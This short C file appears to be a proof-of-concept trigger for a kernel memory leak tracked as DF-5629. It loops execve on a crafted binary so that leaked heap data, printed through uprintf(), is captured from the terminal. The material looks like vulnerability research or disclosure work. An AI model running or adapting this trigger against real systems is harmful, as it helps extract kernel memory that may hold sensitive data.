DF-5629 / run_leak.c
/* DF-5629 trigger: exec the crafted binary from a real pty so the * kernel's uprintf() leak lands on our controlling terminal and gets * captured by script(1). Repeats N times to exercise heap reuse. */ #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv) { int i, n = (argc > 2) ? atoi(argv[2]) : 1; for (i = 0; i < n; i++) { char *av[] = { argv[1], NULL }; char *ev[] = { NULL }; execve(argv[1], av, ev); /* execve must FAIL here (bad interpreter); the interesting * part already went to our tty via uprintf(9) */ fprintf(stderr, "[run %d] execve returned: %s\n", i, strerror(errno)); } return 0; } |